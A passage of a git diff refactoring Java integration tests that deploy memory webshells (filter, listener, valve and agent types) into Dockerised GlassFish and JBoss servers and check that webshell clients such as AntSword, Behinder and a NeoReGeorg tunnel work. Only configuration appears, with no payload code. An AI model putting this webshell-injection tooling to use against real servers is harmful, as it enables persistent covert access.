lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.BeforeAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; /** * @author ReaJason * @since 2024/12/12 */ -@Slf4j @Testcontainers -public class GlassFish7ContainerTest { - public static final String imageName = "reajason/glassfish:7.0.20-jdk17"; - static Network network = Network.newNetwork(); +public class GlassFish7ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish( + "reajason/glassfish:7.0.20-jdk17", + "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war") + .warFile(warJakartaFile) + .jakarta(true) + .targetJdkVersion(Opcodes.V17) + .supportedShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(glassfishPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.GlassFish; - List supportedShellTypes = List.of( - ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER, - ShellType.JAKARTA_VALVE, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); - } - - @BeforeAll - static void setup() { - container.waitingFor(Wait.forHttp("/app/test")); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V17, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER, - ShellType.JAKARTA_VALVE,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V17); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java index 4b259829..cae21b4e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java @@ -1,89 +1,56 @@ package com.reajason.javaweb.integration.memshell.jbossas; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import java.util.Map; /** * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class Jboss423ContainerTest { - public static final String imageName = "reajason/jboss:4-jdk6"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Jboss423ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.jboss( + "reajason/jboss:4-jdk6", + "/usr/local/jboss/server/default/deploy/app.war") + .targetJdkVersion(Opcodes.V1_6) + .env(Map.of("JAVA_OPTS", + "-Xms128m -Xmx512m -XX:MaxPermSize=128M -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000")) + .supportedShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE + )) + .build(); + + static Network network = newNetwork(); @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/jboss/server/default/deploy/app.war") - .withEnv("JAVA_OPTS", "-Xms128m -Xmx512m -XX:MaxPermSize=128M -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jbossPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.JBoss; - List supportedShellTypes = List.of( - ShellType.FILTER, - ShellType.LISTENER, - ShellType.VALVE, - ShellType.PROXY_VALVE, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.FILTER, - ShellType.LISTENER, - ShellType.VALVE, - ShellType.PROXY_VALVE,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java index f040012d..33d93a6a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java @@ -1,91 +1,55 @@ package com.reajason.javaweb.integration.memshell.jbossas; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class Jboss510ContainerTest { - public static final String imageName = "reajason/jboss:5-jdk6"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Jboss510ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.jboss( + "reajason/jboss:5-jdk6", + "/usr/local/jboss/server/web/deploy/app.war") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP)) + .unSupportedShellTools(List.of(ShellTool.Behinder)) + .probeShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE + )) + .build(); + + static Network network = newNetwork(); @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/jboss/server/web/deploy/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jbossPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.JBoss; - List supportedShellTypes = List.of( - ShellType.FILTER, ShellType.LISTENER, - ShellType.VALVE, - ShellType.PROXY_VALVE, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, - null, List.of(ShellTool.Behinder) // Behinder SocketTimeOuts - ); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.FILTER, - ShellType.LISTENER, - ShellType.VALVE, - ShellType.PROXY_VALVE,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java index 180f87a6..0266d46a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java @@ -1,87 +1,53 @@ package com.reajason.javaweb.integration.memshell.jbossas; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class Jboss610ContainerTest { - public static final String imageName = "reajason/jboss:6-jdk7"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Jboss610ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.jboss( + "reajason/jboss:6-jdk7", + "/usr/local/jboss/server/jbossweb-standalone/deploy/app.war") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE + )) + .build(); + + static Network network = newNetwork(); @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/jboss/server/jbossweb-standalone/deploy/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jbossPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.JBoss; - List supportedShellTypes = List.of( - ShellType.FILTER, ShellType.LISTENER, - ShellType.VALVE, - ShellType.PROXY_VALVE, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.FILTER, - ShellType.LISTENER, - ShellType.VALVE, - ShellType.PROXY_VALVE,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java index c221d170..9c9857f7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java @@ -1,90 +1,53 @@ package com.reajason.javaweb.integration.memshell.jbossas; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class Jboss711ContainerTest { - public static final String imageName = "reajason/jboss:7-jdk7"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Jboss711ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.jboss( + "reajason/jboss:7-jdk7", + "/usr/local/jboss/standalone/deployments/app.war") + .targetJdkVersion(Opcodes.V1_7) + .supportedShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE + )) + .build(); + + static Network network = newNetwork(); @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jbossPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - /** - * 找不到 Templates 类暂时先不测试反序列化 - */ - static Stream casesProvider() { - String server = Server.JBoss; - List supportedShellTypes = List.of( - ShellType.FILTER, ShellType.LISTENER, - ShellType.VALVE, - ShellType.PROXY_VALVE, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.FILTER, - ShellType.LISTENER, - ShellType.VALVE, - ShellType.PROXY_VALVE,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_7); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java index b3275bda..a1b8daf1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java @@ -1,89 +1,53 @@ package com.reajason.javaweb.integration.memshell.jbosseap; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class JbossEap6ContainerTest { - public static final String imageName = "reajason/jboss:eap-6-jdk8"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class JbossEap6ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.jboss( + "reajason/jboss:eap-6-jdk8", + "/usr/local/jboss/standalone/deployments/app.war") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE + )) + .build(); + + static Network network = newNetwork(); @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jbossPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.JBoss; - List supportedShellTypes = List.of( - ShellType.FILTER, - ShellType.LISTENER, - ShellType.VALVE, - ShellType.PROXY_VALVE, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.FILTER, - ShellType.LISTENER, - ShellType.VALVE, - ShellType.PROXY_VALVE,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java index 9d98c5df..150ab830 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java @@ -1,86 +1,50 @@ package com.reajason.javaweb.integration.memshell.jbosseap; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class JbossEap7ContainerTest { - public static final String imageName = "reajason/jboss:eap-7-jdk8"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class JbossEap7ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.undertow( + "reajason/jboss:eap-7-jdk8", + "/usr/local/jboss/standalone/deployments/app.war") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER + )) + .build(); + + static Network network = newNetwork(); @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jbossPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Undertow; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.UNDERTOW_AGENT_SERVLET_HANDLER - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = 